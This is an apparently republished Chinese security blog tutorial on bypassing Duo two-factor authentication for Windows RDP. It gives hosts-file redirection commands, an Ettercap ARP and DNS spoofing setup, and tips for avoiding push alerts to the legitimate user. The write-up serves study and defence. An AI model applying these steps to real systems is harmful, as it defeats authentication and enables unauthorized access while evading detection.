Duo RDP双因素身份验证防护绕过

原创
07/10 10:00
阅读数 172


微信公众号最近更新频繁,一键三连(分享、点赞、在看),图文标签,付费阅读,专辑,赞赏,“阅读效率优化”等功能。


阅读效率优化的改动主要就是订阅号消息列表不再采用原来根据发布时间早晚来排列,而是按照内容质量、用户喜爱程度等综合因素动态变化进行推送信息排序,目前仍处于灰色测试阶段。


如果你认为我们推送的内容还算符合“胃口”,目前有以下几点建议:

   1、关注公众号并设置星标

   2、文章底部点击分享、点赞与在看

   3、经常查看该公众号并阅读里边的文章


本文作者:3had0w(贝塔安全实验室-核心成员)

注:首发先知社区,https://xz.aliyun.com/t/7880



0x01 简介

Duo与Microsoft Windows客户端和服务器操作系统集成,可以为远程桌面和本地登录添加2FA双因素身份验证,在国内注册时可能会出现Google reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了,请移步官网:https://duo.com/docs/rdp

原文地址:https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/


0x02 工作原理
1) RDP连接或控制台登录已启动
2) 主要身份验证
3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接
4) 通过Duo Security的服务进行二级认证
5) Duo Windows登录凭据提供程序接收身份验证响应
6) 登录RDP或控制台会话


症状-1:
The username you have entered is not enrolled with Duo Security. Please contact your system administrator.(您输入的用户名没有在Duo Security注册)。


症状-2:
Access Denied. The username you have entered cannot authenticate with Duo Security. Please contact your system administrator.(拒绝访问,您输入的用户名无法通过Duo Security进行身份验证)。


症状-3:
Your two-factor account is disabled. Contact an administrator for assistance.(您的双因素帐户已停用,您输入的用户名在Duo Security被删除到回收站)。

0x03 验证方式

Duo双因素身份验证方式有:Duo Push(手机端推送)、Call Me(打给我)、Passcode(密码代码,如下图中的:*** 437)。手机端Duo Mobile应用中的DUO-PROTECTED(RDP保护)、DUO ADMIN(Duo仪表板保护)。


注: Duo Security保护的用户名或用户名别名在多次登录失败后可能会出现此提示:Your account has been locked out due to excessive authentication failures(已被锁定,该用户超过了自动锁定阈值),得在Duo仪表板里Require two-factor authentication(default)选项重新激活。

0x04 解决方案

(1) Shell命令行绕过

利用目标机器的Shell命令行绕过,ipconfig /displaydns命令找出Duo API DNS缓存记录(每个用户都会得到一个不一样的API hostname)。为了防止系统具有过多的DNS缓存并且显示速度太慢,这时可以将命令执行结果写入到文件中:ipconfig /displaydns > C:\ProgramData\dns.txt。


然后编辑目标机器的hosts文件,将刚刚找到的Duo API DNS缓存记录解析到本地127.0.0.1,依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。
C:\Windows\system32> copy .\drivers\etc\hosts .\drivers\etc\hosts.bak
C:\Windows\system32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .\drivers\etc\hosts
C:\Windows\system32> type .\drivers\etc\hosts


注:如果执行ipconfig /displaydns命令没有找到Duo API DNS缓存记录,这时可以尝试新建一个管理员账户密码,然后用Microsoft RDP登录,再执行ipconfig /displaydns命令时就能看到Duo API DNS缓存记录了。千万不要使用目标机器上已有的管理员账户登录,因为它们可能已在Duo Security注册并保护,如果用已有的管理员账户进行登录就会向手机端Duo Mobile应用发送推送信息。


(2) ARP+DNS欺骗绕过

利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过,编辑/etc/ettercap/etter.dns文件,将Duo API hostname解析到本地127.0.0.1,“*”星号代表所有的意思。

[...SNIP...]
################################
# microsoft sucks ;)
# redirect it to www.linux.org

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

*.duosecurity.com       A   127.0.0.1
[...SNIP...]

Ettercap ARP+DNS欺骗配置:

1) ettercap -G -> Sniff -> Unified sniffing(Ctrl+U)-> eth0
2) Hosts -> Scan for hosts(Ctrl+S)-> Hosts list(Ctrl+H)-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 2
3) Plugins -> Manage the plugins(Ctrl+P)-> dns_spoof(双击)-> Mitm -> ARP poisoning -> Sniff remote connections(勾选)-> Start -> Start sniffing


注:如果停止ARP、DNS欺骗并关掉Ettercap软件以后DNS解析记录仍然是127.0.0.1,这时只需在受害者机器上执行“ipconfig /flushdns”命令刷新一下DNS解析缓存就好了。另外ARP、DNS欺骗这类攻击方式动静都比较大,不是迫不得已的情况下并不建议使用。



更多的学习资源,

更好的学习氛围,

欢迎加入我们的知识星球!



本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部